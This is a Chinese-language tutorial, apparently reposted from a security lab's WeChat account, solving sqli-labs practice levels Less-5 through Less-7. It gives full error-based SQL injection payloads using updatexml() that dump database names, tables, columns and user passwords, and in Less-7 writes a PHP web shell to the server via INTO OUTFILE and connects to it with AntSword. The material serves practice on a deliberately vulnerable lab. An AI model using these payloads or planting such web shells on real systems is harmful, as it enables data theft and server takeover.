sqli-labs教程第三章(Less5-Less6)

admin 2023年1月31日10:57:54评论25 views字数 3415阅读11分23秒阅读模式


sqli-labs教程第三章(Less5-Less6)




声明




本文作者:CloudStrife(玄螭安全实验室-核心成员)  

玄螭安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明,文章来源等全部内容。未经玄螭安全实验室允许,不得修改文章内容,不能以任何方式将其用于商业目的。



Sqli-labs教程第三章(Less5-Less6


目录:

1、Less-5

2、Less-6

3、Less-7


1、Less-5

进入Less-5,和第一题一样,输入

http://192.168.85.137/sqli-labs-master/Less-5/?id=1

页面不显示任何信息,只提示“You are in”,如图。

sqli-labs教程第三章(Less5-Less6)

加单引号报错,双引号正常,那么试着用单引号进行闭合。

http://192.168.85.137/sqli-labs-master/Less-5/?id=1' union select 1,database(),1--+

sqli-labs教程第三章(Less5-Less6)

这一次页面没显示任何信息,阅读源代码,看到执行成功后,代码并不会回显相关信息,所以依靠之前的方法是行不通,但是可以通过报错注入。

sqli-labs教程第三章(Less5-Less6)

报错注入是通过特殊函数的错误使用其参数被页面输出,前提是服务器开启报错信息返回,常用的函数有exp()、updatexml()等,这里采用updatexml()

updatexml函数是对xml文档进行操作。

语法 updatexml(目标xml文档,xml路径,更新的内容)

这是一个合法的updatexml语句

select (updatexml('/',(select database(),'/')));

该语句会正常执行

下面是一个非法的updatexml语句

select (updatexml(0x5c,(select database()),0x5c);

如果执行该语句,会提示报错,并且会显示查询得到的database数据库信息。这是因为0x5c的控制字符是(),不符合updatexml语法,所以报错并显示错误信息。

接下来用该语句来查看数据库名。

http://192.168.85.137/sqli-labs-master/Less-5/ ?id=-1' and updatexml(1,concat(0x5c,database(),0x5c),1)--+

sqli-labs教程第三章(Less5-Less6)

得到了数据库名为security。剩下的payload如下。

http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,database(),0x5c),1)--+ 获得数据库名

http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1)--+ 获得表名

http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c),1)--+ 获取users表的字段

http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,(select group_concat(username) from security.users),0x5c),1) --+ 获取users表中username值

http://192.168.85.137/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x5c,(select group_concat(password) from security.users),0x5c),1) --+ 获取users表中password值


2、Less-6

使用单引号进行测试,不报错,再用双引号测试,报错,显示信息和上一题一样。查看源代码,这一题基本和上面的题目内容一样,只是单引号换成了双引号。

sqli-labs教程第三章(Less5-Less6)

那么payload和前面一样,只需要换成双引号即可。


http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,database(),0x5c),1)--+ 获得数据库名

http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1)--+ 获得表名

http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c),1)--+ 获取users表的字段

http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,(select group_concat(username) from security.users),0x5c),1) --+ 获取users表中username值

http://192.168.85.137/sqli-labs-master/Less-6/?id=-1" and updatexml(1,concat(0x5c,(select group_concat(password) from security.users),0x5c),1) --+ 获取users表中password值


3、Less-7

进入第七关,使用单引号报错,双引号正常,那么说明是用单引号包裹。

sqli-labs教程第三章(Less5-Less6)

sqli-labs教程第三章(Less5-Less6)

注意到这里英文内容是You are in … Use outfile,提示可能需要使用写入文件的方式来注入。

查看源码,发现参数被两个括号包围,同时登录成功和失败,都不会有任何提示信息显示,报错信息也被注释掉了。

sqli-labs教程第三章(Less5-Less6)

那么根据提示的信息,要写入文件,必须保证服务器有写入权限,同时知道网站在服务器上的绝对路径。绝对路径通过注入Less2的题目获得。例如。

http://192.168.85.137/sqli-labs-master/Less-2/?id=-1 union select 1,@@basedir,@@datadir

#basedir()指定了安装Mysql的安装路径

#datadir()指定了安装Mysql的数据文件路径

sqli-labs教程第三章(Less5-Less6)

安装路径和数据文件路径就知道了。

接着用写入一句话木马的方式,写入之前Mysql必须开启secure_file_priv,教程参考https://www.cnblogs.com/Junglezt/p/15871152.html。payload

http://192.168.85.137/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'cmd"]);?>' into outfile"C:\phpstudy_pro\WWW\sqli-labs-master\Less-7\12345.php"--+

用蚁剑进行连接,成功获得靶机权限。

sqli-labs教程第三章(Less5-Less6)

sqli-labs教程第三章(Less5-Less6)


看完了右下角点个赞噢   更多安全资料等你拿

sqli-labs教程第三章(Less5-Less6)


原文始发于微信公众号(玄螭安全实验室):sqli-labs教程第三章(Less5-Less6)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月31日10:57:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqli-labs教程第三章(Less5-Less6)https://cn-sec.com/archives/1347358.html

发表评论

匿名网友 填写信息